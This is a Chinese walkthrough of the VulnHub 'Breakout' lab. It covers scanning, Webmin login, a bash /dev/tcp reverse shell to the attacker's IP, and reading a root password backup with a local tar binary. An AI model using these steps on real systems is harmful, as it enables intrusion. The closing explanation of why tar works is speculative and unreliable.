02-Breakout靶机攻略
第一步搭建靶机
下载地址:https://download.vulnhub.com/empire/02-Breakout.zip
下载好了之后直接用VM打开
然后右击虚拟机,把网络连接改成nat模式
第二步,信息收集
然后开启虚拟机,左上角编辑,虚拟网络编辑器里面看一下靶机是哪个网段。
打开kali用nmap扫一下的这个网段的存活主机,也就是扫除这个靶机的具体ip地址
nmap 192.168.109.1/24
扫出来了他的ip,然后去访问一下
第三步web渗透
可以看到一个默认页面,我们翻看一下看一下靶机有没有什么提示信息,发现右击查看源代码,翻到最下面,有一行注释提示。
翻译一下,他说它的什么访问权限,还是加密的。所以我们肯定要去解一下码
博主这里找了很久,发现他是brainfuck编码的直接把网站给你们
网址:CTF在线工具-在线Brainfuck加密|在线Brainfuck解密|Brainfuck|Brainfuck原理|Brainfuck算法
解出来一串不知道是什么东西,先留着备用。肯定在这个页面是没有一点用的,所以我们要去扫一下它有哪些目录。
打开kali输入下面命令
dirb http://192.168.109.157
发现他的目录实在是太多,很难找到有用的信息,我们从刚才找到的网站开放端口尝试访问一下。
发现端口10000和20000有一样的登录页面
很明显刚才那个不是账号就是密码,这里有一个kali命令可以找相关账号信息
enum4linux -a 192.168.109.128
看到cyber的应就是用户名了,我们尝试登录一下吧。
发现可以登录进去,找一下直接看到终端了。
打开,发现权限不是很高不能看到我们想要的文件,我们试着反弹一下反向shell
先在kali上开一个端口监听
nc -lvp 7777
再去刚才那个终端里执行下面命令(这里的IP是kali的)
bash -i >& /dev/tcp/192.168.109.128/7777 0>&1
命令解释分解如下:
(1) bash -i
-
bash
:启动 Bash Shell。 -
-i
:表示 交互式模式(Interactive Mode),即允许用户输入命令并实时看到输出(类似正常的终端)。
(2) >& /dev/tcp/192.168.109.128/7777
-
>&
:将 标准输出(stdout)和标准错误(stderr) 重定向到后面的文件或设备。 -
/dev/tcp/192.168.109.128/7777
:-
/dev/tcp/
是 Bash 的一个 特殊设备文件,用于建立 TCP 连接。 -
192.168.109.128
是攻击者的 IP 地址(远程主机)。 -
7777
是攻击者监听的端口号。 -
这部分的作用是 让 Bash 尝试连接攻击者的 IP 和端口,并将 Shell 的输出发送到那里。
-
(3) 0>&1
-
0
:标准输入(stdin,文件描述符 0)。 -
1
:标准输出(stdout,文件描述符 1)。 -
>&
:重定向。 -
0>&1
的作用是 将标准输入(stdin)重定向到标准输出(stdout),即:-
远程主机(攻击者)可以通过 TCP 连接发送命令(输入)。
-
受害者的 Bash Shell 会接收这些命令并执行,然后将输出返回给攻击者。
-
执行之后看kali
发现反弹到了
第四步提权
反弹到的shell执行下面命令
cd /var/backups
ls -al
发现有一个.bak文件打开看一下,发现不能打开
某些自动化脚本(如密码更新脚本)可能在修改密码前先备份旧密码到 .old_pass.bak
。
那我们把他压缩再解压看一下
cd ~
./tar -cf bak.tar /var/backups/.old_pass.bak
tar -xf bak.tar
cat var/backups/.old_pass.bak
看到了root密码,返回20000端口登录页面,重新登录一下
补充
最后再补充一下,为什么压缩再解压文件就可以查看了
1. 可能的原因分析
(1) 文件本身是压缩包,但扩展名未正确标识
-
现象:
- 文件实际是一个压缩包(如
gzip
、zip
或tar
格式),但文件名没有正确的扩展名(比如命名为.bak
而不是.gz
或.zip
)。 - 直接打开时,系统或编辑器尝试将其当作普通文本文件解析,导致报错。
- 用
gzip
/unzip
等工具解压时,工具能正确识别其压缩格式,因此可以解压出原始内容。
- 文件实际是一个压缩包(如
-
示例:
- 文件实际是
gzip
压缩的文本文件,但扩展名是.bak
而非.gz
。 - 直接运行
cat .old_pass.bak
会报错(因为cat
试图将二进制数据当作文本解析)。 - 运行
gunzip .old_pass.bak
可以成功解压,因为gunzip
能自动检测gzip
格式(即使扩展名不对)。
- 文件实际是
(2) 文件是“压缩包中的压缩包”(多层压缩)
-
现象:
- 文件可能是先被压缩(如
zip
),然后又被二次压缩(如tar.gz
),但外层压缩格式未被正确识别。 - 直接解压时,工具可能只识别了外层格式(如
tar
),但内层格式(如gzip
)未被正确处理,导致解压失败或内容仍不可读。 - 但某些工具(如
zip
或7z
)能自动处理多层压缩,因此“压缩再解压”后可以正确提取内容。
- 文件可能是先被压缩(如
-
示例:
- 文件实际是一个
tar.gz
文件(先tar
打包,再gzip
压缩),但扩展名是.bak
。 - 直接运行
gunzip .old_pass.bak
可能失败(因为gunzip
只能解压单层gzip
)。 - 但运行
tar -xzvf .old_pass.bak
可以成功解压(因为tar
能自动识别并处理gzip
压缩)。
- 文件实际是一个
(3) 文件是加密或编码数据,但压缩工具“绕过”了问题
- 现象:
- 文件可能是加密或编码的数据(如
Base64
或AES
加密),直接打开时编辑器无法解析二进制数据。 - 但某些压缩工具(如
zip
或7z
)在压缩/解压时会忽略部分二进制异常,因此“压缩再解压”后可能意外恢复可读性。 - 这种情况较少见,但可能发生在文件部分损坏但压缩工具能容忍的情况下。
- 文件可能是加密或编码的数据(如
(4) 文件是“自解压脚本”或特殊格式
- 现象:
- 文件可能是某种自解压程序(如 Windows 的
.exe
自解压包),在 Linux 下直接打开会报错。 - 但通过
zip
或tar
等工具“重新打包”后,可能生成一个更标准的压缩包,从而可以解压。
- 文件可能是某种自解压程序(如 Windows 的